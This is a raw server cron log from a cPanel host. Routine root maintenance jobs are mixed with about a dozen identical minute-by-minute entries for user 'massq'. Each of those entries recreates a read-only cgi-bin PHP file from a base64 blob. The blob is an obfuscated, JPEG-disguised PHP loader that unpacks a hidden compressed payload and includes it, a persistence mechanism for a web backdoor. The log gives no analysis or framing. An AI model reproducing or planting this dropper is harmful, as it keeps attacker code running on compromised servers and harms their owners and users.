Sep  4 11:39:01 server CROND[19184]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:39:01 server CROND[19183]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 11:40:02 server CROND[19569]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:40:02 server CROND[19570]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:40:02 server CROND[19574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:40:02 server CROND[19578]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:40:02 server CROND[19580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:40:02 server CROND[19579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:40:02 server CROND[19581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:40:02 server CROND[19585]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:41:01 server CROND[20389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:41:01 server CROND[20391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:41:01 server CROND[20392]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:42:01 server CROND[20785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:42:01 server CROND[20786]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:42:01 server CROND[20788]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 11:42:01 server CROND[20787]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:43:01 server CROND[21161]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:43:01 server CROND[21162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:43:01 server CROND[21163]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:44:01 server CROND[21618]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:44:01 server CROND[21619]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:44:01 server CROND[21620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:45:01 server CROND[21996]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:45:01 server CROND[21997]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:45:01 server CROND[21999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:45:01 server CROND[22000]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:45:01 server CROND[22006]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:45:01 server CROND[21998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:45:01 server CROND[22007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:46:01 server CROND[23052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:46:01 server CROND[23053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:46:01 server CROND[23054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:47:01 server CROND[23422]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:47:01 server CROND[23423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:47:01 server CROND[23424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:48:02 server CROND[23796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:48:02 server CROND[23795]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:48:02 server CROND[23797]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:49:01 server CROND[24307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:49:01 server CROND[24308]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:49:01 server CROND[24309]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:50:01 server CROND[24689]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 11:50:01 server CROND[24690]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:50:01 server CROND[24694]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 11:50:01 server CROND[24698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:50:01 server CROND[24693]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:50:01 server CROND[24695]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:50:01 server CROND[24692]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:50:01 server CROND[24697]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
